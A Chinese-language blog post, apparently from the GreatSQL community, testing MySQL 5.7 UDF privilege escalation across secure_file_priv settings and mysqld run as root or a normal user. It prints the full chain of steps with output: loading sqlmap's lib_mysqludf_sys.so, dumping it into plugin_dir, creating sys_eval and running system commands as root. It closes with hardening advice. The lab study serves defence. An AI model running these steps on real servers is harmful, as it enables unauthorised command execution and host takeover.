MySQL UDF 提權初探 對 MySQL UDF 提權做一次探究,什麼情況下可以提權,提取的主機許可權是否跟mysqld進程啟動的主機賬號有關 資料庫信息 MySQL資料庫版本:5.7.21 UDF UDF:(User Defined Function) 用戶自定義函數,MySQL資料庫的初衷是用 ...
MySQL UDF 提權初探
對 MySQL UDF 提權做一次探究,什麼情況下可以提權,提取的主機許可權是否跟mysqld進程啟動的主機賬號有關
資料庫信息
MySQL資料庫版本:5.7.21
UDF
UDF:(User Defined Function) 用戶自定義函數,MySQL資料庫的初衷是用於方便用戶進行自定義函數,方便查詢一些複雜的數據,同時也有可能被攻擊者利用,使用udf進行提權。
提權原理:攻擊者通過編寫調用cmd或者shell的共用庫文件(window為.dll,linux為.so),並且導入到一個指定的文件夾目錄下,創建一個指向共用庫文件的自定義函數,從而在資料庫中的查詢就等價於在cmd或者shell中執行命令。
執行過程:本質上還是利用了MySQL能夠執行系統命令的特點。具體過程如下
(1)攻擊者編寫一些可以調用cmd或者shell的共用庫文件(window為.dll,linux為.so),將共用庫導入指定的函數目錄中。
(2)在MySQL中創建指向共用庫文件的自定義函數。
(3)通過剛剛創建的函數執行系統命令,實現提權。
漏洞詳情
當mysql配置secure_file_priv項為空或者secure_file_priv項為plugin文件夾,且可以用弱口令登錄資料庫,存在udf提權漏洞。
-
查看漏洞利用條件:secure_file_priv為空或者為plugin文件夾,可以登錄資料庫,存在plugin文件夾
-
將udf.so文件導入相關plugin文件夾下
-
使用udf創建自定義函數
Create function sys_eval returns string soname ‘udf.so’; -
使用自定義函數執行任意代碼執行:
獲取so文件
$ git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
python3 cloak.py -d -i /tmp/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so_
$ ll /tmp/sqlmap-dev/data/udf/mysql/linux/64/
-rw-rw-r-- 1 mysql mysql 8040 May 21 15:17 lib_mysqludf_sys.so
-rw-rw-r-- 1 mysql mysql 3200 May 21 15:17 lib_mysqludf_sys.so_
root賬號拉起mysqld進程
secure_file_priv=''
mysql> show variables like '%secure_file_priv%';
+------------------+----------------+
| Variable_name | Value |
+------------------+----------------+
| secure_file_priv | |
+------------------+----------------+
mysql> show variables like '%plugin%';
+-------------------------------+------------------------------------+
| Variable_name | Value |
+-------------------------------+------------------------------------+
| default_authentication_plugin | mysql_native_password |
| plugin_dir | /mysql/svr/mysql5721/lib/plugin/ |
+-------------------------------+------------------------------------+
#導入so文件成功
mysql> create table foo(line blob);
Query OK, 0 rows affected (0.03 sec)
mysql> insert into foo values(load_file('/tmp/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so'));
Query OK, 1 row affected (0.01 sec)
#導出so文件到plugin_dir下成功
mysql> select * from foo into dumpfile '/mysql/svr/mysql5721/lib/plugin/lib_mysqludf_sys.so';
Query OK, 1 row affected (0.01 sec)
#創建自定義函數成功
mysql> create function sys_eval returns string soname "lib_mysqludf_sys.so";
Query OK, 0 rows affected (0.00 sec)
#調用函數成功
mysql> select sys_eval('whoami');
+--------------------+
| sys_eval('whoami') |
+--------------------+
| root |
+--------------------+
1 row in set (0.02 sec)
mysql> show variables like '%secure_file_priv%';
+------------------+----------------+
| Variable_name | Value |
+------------------+----------------+
| secure_file_priv | /home/mysql/ |
+------------------+----------------+
mysql> show variables like '%plugin%';
+-------------------------------+------------------------------------+
| Variable_name | Value |
+-------------------------------+------------------------------------+
| default_authentication_plugin | mysql_native_password |
| plugin_dir | /mysql/svr/mysql5721/lib/plugin/ |
+-------------------------------+------------------------------------+
#創建中間表
mysql> create table foo(line blob);
Query OK, 0 rows affected (0.03 sec)
#導入so文件成功
mysql> insert into foo values(load_file('/tmp/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so'));
Query OK, 1 row affected (0.01 sec)
#導出so文件到plugin_dir下失敗
mysql> select * from foo into dumpfile '/mysql/svr/mysql5721/lib/plugin/lib_mysqludf_sys.so';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
#導出so文件到secure_file_priv
mysql> select * from foo into dumpfile '/home/mysql/lib_mysqludf_sys.so';
Query OK, 1 row affected (0.00 sec)
#通過plugin的so創建自定義函數失敗
mysql> create function sys_eval returns string soname "lib_mysqludf_sys.so";
ERROR 1126 (HY000): Can't open shared library 'lib_mysqludf_sys.so' (errno: 0 /mysql/svr/mysql-5.7.21-linux-glibc2.12-x86_64/lib/plugin/lib_mysqludf_sys.so: cannot open shared object file: No such file or)
secure_file_priv=dirname(secure_file_priv和plugin_dir路徑一致)
#plugin_dir路徑下有so文件了
#直接創建自定義函數
mysql> create function sys_eval returns string soname "lib_mysqludf_sys.so";
Query OK, 0 rows affected (0.00 sec)
#調用函數成功
mysql> select sys_eval('whoami');
+--------------------+
| sys_eval('whoami') |
+--------------------+
| root |
+--------------------+
1 row in set (0.02 sec)
secure_file_priv=null
mysql> show variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | null |
+------------------+-------+
1 row in set (0.01 sec)
mysql> show variables like '%plugin%';
+-------------------------------+------------------------------------+
| Variable_name | Value |
+-------------------------------+------------------------------------+
| default_authentication_plugin | mysql_native_password |
| plugin_dir | /mysql/svr/mysql5721/lib/plugin/ |
+-------------------------------+------------------------------------+
#創建中間表
mysql> create table foo(line blob);
Query OK, 0 rows affected (0.03 sec)
#導入so文件成功
mysql> insert into foo values(load_file('/tmp/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so'));
Query OK, 1 row affected (0.01 sec)
#導出so文件到plugin_dir下失敗
mysql> select * from foo into dumpfile '/mysql/svr/mysql5721/lib/plugin/lib_mysqludf_sys.so';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
#通過plugin的so創建自定義函數失敗
mysql> create function sys_eval returns string soname "lib_mysqludf_sys.so";
ERROR 1126 (HY000): Can't open shared library 'lib_mysqludf_sys.so' (errno: 0 /mysql/svr/mysql-5.7.21-linux-glibc2.12-x86_64/lib/plugin/lib_mysqludf_sys.so: cannot open shared object file: No such file or)
普通賬號拉起mysqld進程
secure_file_priv=''
mysql> show variables like '%secure_file_priv%';
+------------------+----------------+
| Variable_name | Value |
+------------------+----------------+
| secure_file_priv | |
+------------------+----------------+
mysql> show variables like '%plugin%';
+-------------------------------+------------------------------------+
| Variable_name | Value |
+-------------------------------+------------------------------------+
| default_authentication_plugin | mysql_native_password |
| plugin_dir | /mysql/svr/mysql5721/lib/plugin/ |
+-------------------------------+------------------------------------+
#導入so文件成功
mysql> create table foo(line blob);
Query OK, 0 rows affected (0.03 sec)
mysql> insert into foo values(load_file('/tmp/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so'));
Query OK, 1 row affected (0.01 sec)
#導出so文件到plugin_dir下成功
mysql> select * from foo into dumpfile '/mysql/svr/mysql5721/lib/plugin/lib_mysqludf_sys.so';
Query OK, 1 row affected (0.01 sec)
#創建自定義函數成功
mysql> create function sys_eval returns string soname "lib_mysqludf_sys.so";
Query OK, 0 rows affected (0.00 sec)
#調用函數成功
mysql> select sys_eval('whoami');
+--------------------+
| sys_eval('whoami') |
+--------------------+
| mysql |
+--------------------+
1 row in set (0.06 sec)
餘下的幾種secure_file_priv=dirname(secure_file_priv和plugin_dir路徑不一致),secure_file_priv=dirname(secure_file_priv和plugin_dir路徑一致),secure_file_priv=null得出的結果是類似的,這裡就不詳細繼續闡述了,全部寫完可能篇數稍長。
總結
-
secure_file_priv
- ''(empty string),不限制導入和導出的目錄。只需將so寫到plugin_dir,能創建so自定義函數。存在漏洞風險
- dirname(指定目錄),限制導入和導出為指定目錄。如果指定的目錄和plugin_dir相同,能正常創建so自定義函數,存在漏洞風險;否則不能創建so自定義函數
- null,禁止導入和導出操作,不存在漏洞風險
-
提權賬號
無論採用哪種方式啟動資料庫(systemctl start mysql、mysqld、mysqld_safe),提權後的賬號根據mysqld進程uid確定$ ps -ef|head -1;ps -ef |grep 5721 UID PID PPID C STIME TTY TIME CMD root 18371 11890 1 17:33 pts/21 00:00:00 /mysql/svr/mysql5721/bin/mysqld --defaults-file=/mysql/conf/mysql5721.cnf
-
資料庫賬號的許可權
目標端需要能執行select...into dumpfile、創建函數許可權
建議
- 使用普通賬號啟動資料庫(配置文件中--user=mysql)
- secure_file_priv設置為null,禁止導入和導出操作;如果需要導入和導出,將secure_file_priv設置為非plugin_dir目錄
- 資料庫密碼儘量複雜
- 關註plugin_dir是否有新增的不明來源的.so文件和關註資料庫是否有新增不明來源的自定義函數
Enjoy GreatSQL